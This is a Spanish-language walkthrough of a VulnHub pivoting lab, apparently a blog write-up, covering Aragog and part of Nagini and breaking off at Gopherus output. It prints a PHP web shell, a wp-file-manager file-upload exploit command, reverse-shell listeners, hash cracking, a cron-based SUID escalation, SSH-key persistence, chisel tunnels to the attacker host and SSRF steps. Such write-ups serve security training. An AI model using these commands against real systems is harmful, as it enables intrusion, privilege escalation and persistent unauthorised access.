¡Hola! En este laboratorio hemos configurado 6 máquinas y 4 redes internas para pivotar hasta la máquina Brainpan. Las máquinas de las que consta el lab son las siguientes:
La máquina Dumbledore
es un Windows 7 x64 vulnerable a Eternal Blue.
Este laboratorio fue montado por nuestro querido profesor Marcelo Vázquez aka S4vitar y la resolución del mismo la tienes en formato vídeo en Youtube
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Aragog
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento (Aragog)
Técnicas Vistas (Aragog):
- WordPress Enumeration + Virtual Hosting
- Using wpscan + API TOKEN for vulnerability discovery in wordpress
- File Manager WordPress Plugin Exploitation - Unauthenticated Arbitrary File Upload leading to RCE
- Uploading a web shell to the server
- Enumerating the Apache web server directory structure
- MYSQL Database Enumeration
- Cracking Hashes + Password reuse
- Abusing Cron Job [Privilege Escalation]
- EXTRA: Creation of bash script to discover computers on the internal network
- EXTRA: Creation of a bash script to discover the open ports of the computers discovered in the internal network
Primero de todo necesitamos saber la IP de la máquina víctima que se encuentra funcionando dentro de nuestra red local. Procedemos a escanear todos los equipos de nuestra red local
1
2
3
4
5
6
7
8
9
10
11
❯ arp-scan -I ens33 --localnet
Interface: ens33, type: EN10MB, MAC: 00:0c:29:8d:05:79, IPv4: 192.168.1.148
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 e4:ca:12:8c:78:a5 zte corporation
192.168.1.128 d0:c2:4e:53:17:09 (Unknown)
192.168.1.129 2c:f0:5d:0a:0a:f1 (Unknown)
192.168.1.135 b8:bc:5b:e8:00:67 Samsung Electronics Co.,Ltd
192.168.1.134 9c:20:7b:b1:3e:47 Apple, Inc.
192.168.1.137 f4:34:f0:50:7e:76 (Unknown)
192.168.1.142 00:0c:29:f9:93:01 VMware, Inc.
192.168.1.138 00:55:da:56:56:66 IEEE Registration Authority
Tras analizar la respuesta del escaneo observamos por el OUI (Organizationally unique identifier) 00:0c:29 que corresponde a VMWare Inc ya que la máquina víctima funciona bajo un entorno de virtualización VMWare por lo que su IP es 192.168.1.142
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 192.168.1.142
PING 192.168.1.142 (192.168.1.142) 56(84) bytes of data.
64 bytes from 192.168.1.142: icmp_seq=1 ttl=64 time=42.3 ms
--- 1192.168.1.142 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 64.
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
5
nmap -p- --open --min-rate 5000 -vvv -n -Pn 192.168.1.142 -oG allPorts
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -sCV -p22,80 192.168.1.142 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 48df48372594c4746b2c6273bfb49fa9 (RSA)
| 256 1e3418175e17958f702f80a6d5b4173e (ECDSA)
|_ 256 3e795f55553b127596b43ee3837a5494 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:F9:93:01 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Reconocimiento Web (Aragog)
Iniciamos el reconocimiento del servicio web con la herramienta whatweb
la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.
1
2
❯ whatweb http://192.168.1.142
http://192.168.1.142 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.1.142]
Accedemos al servicio http y observamos una imagen estática con temática de Harry Potter
Seguimos aplicando fuzzing con la herramienta Wfuzz
para descubrir posibles directorios
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://192.168.1.142/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.142/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000018: 301 9 L 28 W 313 Ch "blog"
Encontramos un direcotorio blog
. Accedemos y descubrimos un Wordpress el cual no se ve bien. Inspeccionamos el código fuente y vemos que los recursos apuntan a un subdominio wordpress.aragog.hogwarts
, añadimos a nuestro /etc/hosts
para su correcta visualización
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ cat /etc/hosts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: /etc/hosts
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Host addresses
2 │ 127.0.0.1 localhost
3 │ 127.0.1.1 parrot
4 │ ::1 localhost ip6-localhost ip6-loopback
5 │ ff02::1 ip6-allnodes
6 │ ff02::2 ip6-allrouters
7 │ # Others
8 │
9 │ 192.168.1.142 wordpress.aragog.hogwarts
10 │
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ya nos cargan los recursos correctamente
Enumeración Wordpress (Aragog)
Comenzamos la enumeración de Wordpress con la ayuda de la herramienta wpscan
con la que trataremos de enumerar plugins instalados, usuarios, etc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
❯ wpscan --url http://192.168.1.142/blog/ --enumerate vp --plugins-detection aggressive --api-token $APIKEY --force
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | _ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://192.168.1.142/blog/ [192.168.1.142]
[+] Started: Sun Feb 12 11:55:23 2023
Interesting Finding(s):
.
.
.
[+] wp-file-manager
| Location: http://192.168.1.142/blog/wp-content/plugins/wp-file-manager/
| Last Updated: 2023-02-08T10:32:00.000Z
| Readme: http://192.168.1.142/blog/wp-content/plugins/wp-file-manager/readme.txt
| [!] The version is out of date, the latest version is 7.1.8
.
.
.
| [!] Title: File Manager 6.0-6.9 - Unauthenticated Arbitrary File Upload leading to RCE
| Fixed in: 6.9
| References:
| - https://wpscan.com/vulnerability/e528ae38-72f0-49ff-9878-922eff59ace9
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25213
| - https://blog.nintechnet.com/critical-zero-day-vulnerability-fixed-in-wordpress-file-manager-700000-installations/
| - https://www.wordfence.com/blog/2020/09/700000-wordpress-users-affected-by-zero-day-vulnerability-in-file-manager-plugin/
| - https://seravo.com/blog/0-day-vulnerability-in-wp-file-manager/
| - https://blog.sucuri.net/2020/09/critical-vulnerability-file-manager-affecting-700k-wordpress-websites.html
| - https://twitter.com/w4fz5uck5/status/1298402173554958338
Localizamos el plugin File Manager
el cual es vulnerable al CVE-2020-25213 que nos puede llevar a un RCE. Buscando en Google localizamos el repositorio de mansoor123. Nos lo clonamos en nuestro equipo y verificamos que sea vulnerable
1
2
3
4
5
6
7
8
9
❯ ./wp-file-manager-exploit.sh --wp_url http://wordpress.aragog.hogwarts/blog --check
============================================================================================
wp-file-manager wordpress plugin Unauthenticated RCE Exploit By: Mansoor R (@time4ster)
============================================================================================
[+] Found wp-file-manager version: 6.0
[+] Version appears to be vulnerable
[+] Target: http://wordpress.aragog.hogwarts/blog is vulnerable
En este punto creamos un archivo shell.php
el cual nos otorgará la capacidad de ejecución remota de comandos
1
2
3
4
5
6
7
8
❯ cat shell.php
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: shell.php
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ <?php
2 │ echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"
3 │ ?>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con la ayuda del exploit descargado lo subimos a la máquina víctima. El propio script nos revela la ruta a la que ha subido nuestro archivo shell.php
1
2
3
4
5
6
7
8
9
10
11
❯ ./wp-file-manager-exploit.sh --wp_url http://wordpress.aragog.hogwarts/blog -f /home/yorch/Labs/VulnHub/Aragog/exploits/shell.php --verbose
============================================================================================
wp-file-manager wordpress plugin Unauthenticated RCE Exploit By: Mansoor R (@time4ster)
============================================================================================
curl POC :
curl -ks --max-time 5 --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw" -F "mtime[]=1576045135" -F "upload[]=@//home/yorch/Labs/VulnHub/Aragog/exploits/shell.php" "http://wordpress.aragog.hogwarts/blog/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
[+] W00t! W00t! File uploaded successfully.
Location: /blog/wp-content/plugins/wp-file-manager/lib/php/../files/shell.php
Confirmamos que tengamos capacidad de RCE
En este punto sólo tenemos que ponernos en escucha en el puerto 443 y ejecutar onliner para entablar una reverse shell con la máquina víctima
1
2
3
4
5
6
7
8
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.142] 41128
bash: cannot set terminal process group (620): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
whoami
www-data
Hemos ganado acceso a la máquina víctima como www-data
Movimiento Lateral (Aragog)
Enumerando archivos de wordpress localizamos config-default.php
en la ruta /etc/wordpress
el cual almacena unas credenciales para MySQL
1
2
3
4
5
6
7
8
9
bash-5.0$ cat config-default.php
<?php
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'mySecr3tPass');
define('DB_HOST', 'localhost');
define('DB_COLLATE', 'utf8_general_ci');
define('WP_CONTENT_DIR', '/usr/share/wordpress/wp-content');
?>
Accedemos a la base de datos y enumeramos tablas y columnas en busca de información útil
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
bash-5.0$ mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 28
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.002 sec)
MariaDB [(none)]> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
| wp_wpfm_backup |
+-----------------------+
13 rows in set (0.000 sec)
MariaDB [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+--------------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+--------------------------+----------+---------------------+---------------------+-------------+--------------+
| 1 | hagrid98 | $P$BYdTic1NGSb8hJbpVEMiJaAiNJDHtc. | wp-admin | hagrid98@localhost.local | | 2021-03-31 14:21:02 | | 0 | WP-Admin |
+----+------------+------------------------------------+---------------+--------------------------+----------+---------------------+---------------------+-------------+--------------+
1 row in set (0.000 sec)
Encontramos la contraseña hasheada del usuario hagrid98
. Con la ayuda de la herramienta john
procedemos a romper la contraseña
1
2
3
4
5
6
7
8
❯ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
No password hashes left to crack (see FAQ)
john hash --show
?:password123
1 password hash cracked, 0 left
Probamos por si hay reutilización de contraseñas y logramos migrar al usuario hagrid98
. La flag la encontramos en su directorio personal
1
2
3
4
5
6
7
8
bash-5.0$ su hagrid98
Password:
bash-5.0$ whoami
hagrid98
bash-5.0$ cat /home/hagrid98/horcrux1.txt
horcrux_{MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==}
bash-5.0$ echo "MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==" | base64 -d;echo
1: RidDlE s DiAry dEstroYed By haRry in chaMbEr of SeCrets
Escalada de Privilegios (Aragog)
Enumerando grupos y privilegios de sudo del usuario hagrid98 no encontramos nada interesante. Con la herramienta pspy monitorizamos los procesos que se están ejecutando y vemos uno interesante llamado .backup.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
.
.
.
2023/02/12 17:02:01 CMD: UID=0 PID=15878 | /bin/sh -c bash -c "/opt/.backup.sh"
2023/02/12 17:02:01 CMD: UID=0 PID=15879 | /bin/bash /opt/.backup.sh
2023/02/12 17:02:01 CMD: UID=0 PID=15880 | /bin/bash /opt/.backup.sh
Listamos contenido de la carpeta /opt
y vemos que el propietario del archivo es el usuario hagrid98
en el cual podemos el permiso de lectura, escritura y ejecución. La herramienta pspy nos reveló que el script lo ejecuta el UID=0 que pertenece a root
por lo que el contenido del script se ejecutará con privilegios de root a todos los efectos. Modificamos el script para dar permisos SUID a la bash
1
2
3
4
5
6
7
8
9
10
bash-5.0$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Apr 1 2021 .
drwxr-xr-x 18 root root 4096 Mar 31 2021 ..
-rwxr-xr-x 1 hagrid98 hagrid98 32 Feb 12 17:17 .backup.sh
bash-5.0$ cat .backup.sh
#!/bin/bash
chmod u+s /bin/bash
bash-5.0$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
Con los permisos cambiados de la bash podemos con el comando bash -p
tener una bash con privilegios de root. La falg la localizamos en el directorio /root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
bash-5.0$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/horcrux2.txt
____ _ _ _ _
/ ___|___ _ __ __ _ _ __ __ _| |_ _ _| | __ _| |_(_) ___ _ __ ___
| | / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| _ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
\____\___/|_| |_|\__, |_| \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
|___/
Machine Author: Mansoor R (@time4ster)
Machine Difficulty: Easy
Machine Name: Aragog
Horcruxes Hidden in this VM: 2 horcruxes
You have successfully pwned Aragog machine.
Here is your second hocrux: horcrux_{MjogbWFSdm9MbyBHYVVudCdzIHJpTmcgZGVTdHJPeWVkIGJZIERVbWJsZWRPcmU=}
# For any queries/suggestions feel free to ping me at email: time4ster@protonmail.com
bash-5.0# echo "MjogbWFSdm9MbyBHYVVudCdzIHJpTmcgZGVTdHJPeWVkIGJZIERVbWJsZWRPcmU=" | base64 -d; echo
2: maRvoLo GaUnt's riNg deStrOyed bY DUmbledOre
Hemos completado la máquina Aragog de VulnHub!!
Antes de pasar al reconocimiento de la máquina Nagini
vamos a ganar persistencia en la máquina Aragog
. Para ello crearemos un par de claves en nuestra máquina y copiaremos el contenido de la clave id_rsa.pub
a un archivo authorized_keys
en el directorio .ssh
del usuario root de la máquina Aragog
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#ARAGOG
bash-5.0# cd /root/.ssh
bash-5.0# cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCamnPQmJjFRNzeZdJHbPkA3jDpmCz2ynK6i+ZSPAf9NkYnS8wGGOIv38C8tejYbdH5xOPEUsTS/
.
.
+sWs6roxr9NuXbtouBW9TTRBpZ941uIvjlHQ1HMI16O99QxAyRC5Or2cS31fopySBP9YXsy2wUHBk4qPWzhSJx7sGOaYBRkPAvDRGFL314kCgB/xPUEVu440= root@parrot
#ATACANTE
❯ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:k5T2jjFYwak9E6HQGEiYH41GsRmAPrMetsID3/J1kPw root@parrot
The key's randomart image is:
+---[RSA 3072]----+
|o*==o+ .oo |
|+ =+o...+o |
|.oo. .o=. |
| +. ..*+o |
| + = So. |
|.+ o * |
|=.o. . E . |
|.=o .. . |
|. .o. |
+----[SHA256]-----+
❯ cat id_rsa.pub | xclip -sel clip
De esta manera nos podemos conectar directamente por ssh como usuario root en la máquina Aragog
sin proporcionar contraseña
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ ssh root@192.168.1.142
The authenticity of host '192.168.1.142 (192.168.1.142)' can t be established.
ECDSA key fingerprint is SHA256:Xy+Xj3BR8BLS4rk/l2jfAZmSh0d3m5zJXaB5QsUT3AA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.142' (ECDSA) to the list of known hosts.
Linux Aragog 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Reconocimiento (Nagini)
Técnicas Vistas (Nagini):
- EXTRA: Remote Port Forwarding - Playing with Chisel (From Aragog)
- EXTRA: Socks5 connection with Chisel (Pivoting) (From Aragog)
- EXTRA: FoxyProxy + Socks5 Tunnel
- EXTRA: Fuzzing with gobuster through a Socks5 Proxy
- EXTRA: Port scanning with nmap through proxychains
- HTTP3 Enumeration - Quiche Installation
- Server Side Request Forgery (SSRF)
- EXTRA: Playing with socat to reach our web server by going through an intermediate machine
- Joomla Enumeration - Joomscan
- Joomla Enumeration - Readable config file is found
- SSRF + MYSQL Enumeration through gopher link - Gopherus
- Changing the Joomla administrator user password via Gopherus and SSRF
- Joomla Exploitation - Abusing available templates
- EXTRA: Joomla Exploitation - Reverse shell passing through an intermediary machine using socat
- Information Leakage
- Abusing SUID Binary (User Pivoting)
- Getting stored Firefox credentials - Firepwd [Privilege Escalation]
- EXTRA: Creation of bash script to discover computers on the internal network
- EXTRA: Creation of a bash script to discover the open ports of the computers discovered in the internal network
Iniciamos el reconocimiento de la máquina Nagini
. Necesitamos saber su IP y los puertos abiertos que tiene esta máquina. Para ello nos haremos un pequeño script en bash el cual nos ayudará con la tarea. Sabiendo que la IP de la máquina Aragog en el segmento es 10.10.0.134 vamos a escanear todas las IP en el segmento 10.10.0.0/24
1
2
root@Aragog:/tmp# hostname -I
10.10.0.134 192.168.1.142 fd89:c343:c759:42dc:20c:29ff:fef9:9301
1
2
3
4
5
#!/bin/bash
for i in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 10.10.0.$i" &>/dev/null && echo "[+] Host 10.10.0.$i - ACTIVO" &
done; wait
1
2
3
4
root@Aragog:/tmp# ./hostDiscovery.sh
[+] Host 10.10.0.1 - ACTIVO
[+] Host 10.10.0.135 - ACTIVO
[+] Host 10.10.0.134 - ACTIVO
Ya sabemos que la IP de la máquina Nagini
es la 10.10.0.135. Ahora procedemos a enumerar los puertos abiertos mediante otro script en bash
1
2
3
4
5
#!/bin/bash
for port in $(seq 1 65535); do
timeout 1 bash -c "echo '' > /dev/tcp/10.10.0.135/$port" 2>/dev/null && echo "[+] Port $port - OPEN" &
done; wait
1
2
3
root@Aragog:/tmp# ./portDiscovery.sh
[+] Port 22 - OPEN
[+] Port 80 - OPEN
A partir de este punto para trabajar más cómodamente vamos a crear un túnel por el cual nos vamos a poder acceder a la máquina Nagini
desde nuestra equipo atacante a pesar de no tener conexión directa al no estar en el mismo segmento. Para esta tarea utilizaremos la herarmienta chisel
la cual debemos subir a la máquina Aragog
que es la que está en el mismo segmento que la Nagini
. Los ejecutaremos de la siguiente forma
1
2
3
4
5
6
#Atacante
❯ ./chisel server --reverse -p 1234
2023/02/12 13:58:24 server: Reverse tunnelling enabled
2023/02/12 13:58:24 server: Fingerprint pMQdcAI4+jU1Om0DwremTsYRz0u2taTbT4/Svd29bDs=
2023/02/12 13:58:24 server: Listening on http://0.0.0.0:1234
2023/02/12 13:58:46 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
1
2
#Aragog
root@Aragog:/tmp# ./chisel client 192.168.1.148:1234 R:socks
Añadimos al firefox una regla en el add-on Foxy proxy de la siguiente forma y ya podemos acceder por el navegador directamente a la máquina Nagini
por el puerto 80
Continuamos con la enumeración de los 500 puertos más comunes en la máquina.
1
2
3
4
5
❯ proxychains nmap -p- --top-ports 500 --open -T5 -v -n -sT -Pn 10.10.0.135 2>&1 -oG allPorts | grep -vE "timeout|OK"
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
proxychains nmap -sT -Pn -sCV -p22,80 10.10.0.135 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 48df48372594c4746b2c6273bfb49fa9 (RSA)
| 256 1e3418175e17958f702f80a6d5b4173e (ECDSA)
|_ 256 3e795f55553b127596b43ee3837a5494 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Reconocimiento Web (Nagini)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ gobuster dir -u http://10.10.0.135/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --proxy socks5://127.0.0.1:1080
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.0.135/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Proxy: socks5://127.0.0.1:1080
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/02/12 14:19:12 Starting gobuster in directory enumeration mode
===============================================================
/joomla (Status: 301) [Size: 311] [--> http://10.10.0.135/joomla/]
/note.txt (Status: 200) [Size: 234]
Encontramos un directorio Joomla
y un archivo note.txt
. Observamos el contenido del archivo y parece que el servidor está usando protocolo HTTP3 que no está soportado por nuestro navegador
El protocolo HTTP/3 es la nueva versión del protocolo de transferencia de hipertexto (HTTP) y está basado en el protocolo UDP. por ello deberemos modificar el túnel creado para traernos a nuestro equipo el puerto 443 por UDP
1
2
#ARAGOG
root@Aragog:/tmp# ./chisel client 192.168.1.148:1234 R:socks R:443:10.10.0.135:443/udp
Buscando por internet encontramos el repositorio de Cloudfare Quiche con el que podremos realizar peticiones con el protocolo QUIC. Para instalar la herramienta debemos seguir la siguientes instrucciones:
Puede haber algún conflicto con el paquete de Rust preinstalado. Para ello debemos borrarlo e instalar la útlima versión estbalde de Rust usando rustup
Nos dirigimos al directorio /quiche/target/debug/examples
y con la herramienta http3-client
podemos hacer una petición a htps://localhost
. Al haber modificado anteriormente el túnel creado con chisel estamos haciendo la petición a la máquina Nagini en el puerto 443 por UDP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ ./http3-client https://localhost
<html>
<head>
<title>Information Page</title>
</head>
<body>
Greetings Developers!!
I am having two announcements that I need to share with you:
1. We no longer require functionality at /internalResourceFeTcher.php in our main production servers.So I will be removing the same by this week.
2. All developers are requested not to put any configuration s backup file (.bak) in main production servers as they are readable by every one.
Regards,
site_admin
</body>
</html>
En la respuesta observamos que nos revelan una ruta /internalResourceFeTcher.php
. Comprobamos que aún está operativa. también vemos que nos dan una pista sobre posibles archivos .bak
que puedan haber
Observando el código fuente de la página vemos que el valor del input debe ser una url. Introducimos 127.0.0.1
y nos muestra la imagen que hay en el puerto 80 de la máquina Nagini por lo que confirmamos que se acontece un SSRF
Enumeración Joomla (Nagini)
Para el enumeración del CMS joomla nos vamos a apoyar de la herramienta JoomScan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
> proxychains perl joomscan.pl -u http://10.10.0.135/joomla/ 2>/dev/null
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.7
+---++---==[Update Date : [2018/09/23]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://10.10.0.135/joomla/ ...
.
.
.
[+] admin finder
[++] Admin page : http://10.10.0.135/joomla/administrator/
.
.
[+] Checking sensitive config.php.x file
[++] Readable config file is found
config file path : http://10.10.0.135/joomla/configuration.php.bak
Vemos cosas interesantes. El panel de administrador está expuesto y localizamos un archivo configuration.php.bak
. Con la herramienta wget
y utilizando proxychains
nos descargamos el archivo .bak
1
2
3
4
5
6
7
8
9
10
11
12
❯ proxychains wget http://10.10.0.135/joomla/configuration.php.bak
ProxyChains-3.1 (http://proxychains.sf.net)
--2023-02-12 18:23:23-- http://10.10.0.135/joomla/configuration.php.bak
Conectando con 10.10.0.135:80... |S-chain|-<>-127.0.0.1:1080-<><>-10.10.0.135:80-<><>-OK
conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 1978 (1,9K) [application/x-trash]
Grabando a: «configuration.php.bak»
configuration.php.bak 100%[==================================================================================================================>] 1,93K --.-KB/s en 0s
2023-02-12 18:23:23 (442 MB/s) - «configuration.php.bak» guardado [1978/1978]
Examniando el archivo .bak vemos unas credenciales para una base de datos
En este punto nos viene a la cabeza la herramienta Gopherus que se aprovecha de sitios vulnerables a SSRF. Esta herramienta sólo es válida cuando cuando no está protegido por contraseña que es nuestro caso. Ejecutamos herramienta pasándole el parámetro --exploit mysql
y proporcionamos usuario y query a ejecutar
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ gopherus --exploit mysql
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
